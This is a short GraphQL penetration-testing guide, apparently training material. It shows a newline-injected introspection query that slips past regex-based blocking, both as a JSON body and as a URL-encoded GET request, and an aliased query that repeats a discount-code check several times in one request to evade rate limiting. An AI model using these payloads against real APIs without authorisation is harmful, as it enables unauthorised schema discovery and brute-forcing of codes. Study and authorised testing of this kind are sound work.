GraphQL

Bypass disabled Introspection

If you cannot get introspection queries to run for the API you are testing, try inserting a special character after the __schema keyword.

When developers disable introspection, they could use a regex to exclude the __schema keyword in queries. You should try characters like spaces, new lines and commas, as they are ignored by GraphQL but not by flawed regex.

As such, if the developer has only excluded __schema{, then the below introspection query would not be excluded.

    #Introspection query with newline

    {
        "query": "query{__schema
        {queryType{name}}}"
    }

/api?query=query{__schema%0a{queryType{name}}}

Note

If an endpoint will only accept introspection queries over GET and you want to analyze the results of the query using InQL Scanner, you first need to save the query results to a file. You can then load this file into InQL, where it will be parsed as normal.

Bypassing rate limiting using aliases

Ordinarily, GraphQL objects can't contain multiple properties with the same name. Aliases enable you to bypass this restriction by explicitly naming the properties you want the API to return. You can use aliases to return multiple instances of the same type of object in one request.

    #Request with aliased queries

    query isValidDiscount($code: Int) {
        isvalidDiscount(code:$code){
            valid
        }
        isValidDiscount2:isValidDiscount(code:$code){  # ALIAS
            valid
        }
        isValidDiscount3:isValidDiscount(code:$code){  # ALIAS
            valid
        }
    }
